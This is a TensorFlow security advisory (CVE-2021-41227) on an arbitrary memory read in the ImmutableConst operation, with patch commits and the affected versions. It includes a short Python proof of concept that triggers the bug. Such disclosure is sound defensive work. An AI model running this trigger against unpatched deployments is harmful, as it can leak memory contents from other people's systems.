## TFSA-2021-170: Arbitrary memory read in `ImmutableConst`

### CVE Number
CVE-2021-41227

### Impact
The `ImmutableConst` operation in TensorFlow can be tricked into reading arbitrary memory contents:

```python
import tensorflow as tf

with open('/tmp/test','wb') as f:
    f.write(b'\xe2'*128)
    data = tf.raw_ops.ImmutableConst(dtype=tf.string,shape=3,memory_region_name='/tmp/test')

print(data)
```

This is because the `tstring` TensorFlow string class has a special case for memory mapped strings but the operation itself does not offer any support for this datatype.

### Patches
We have patched the issue in GitHub commit [3712a2d3455e6ccb924daa5724a3652a86f6b585](https://github.com/tensorflow/tensorflow/commit/3712a2d3455e6ccb924daa5724a3652a86f6b585) and GitHub commit [1cb6bb6c2a6019417c9adaf9e6843ba75ee2580b](https://github.com/tensorflow/tensorflow/commit/1cb6bb6c2a6019417c9adaf9e6843ba75ee2580b).

The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
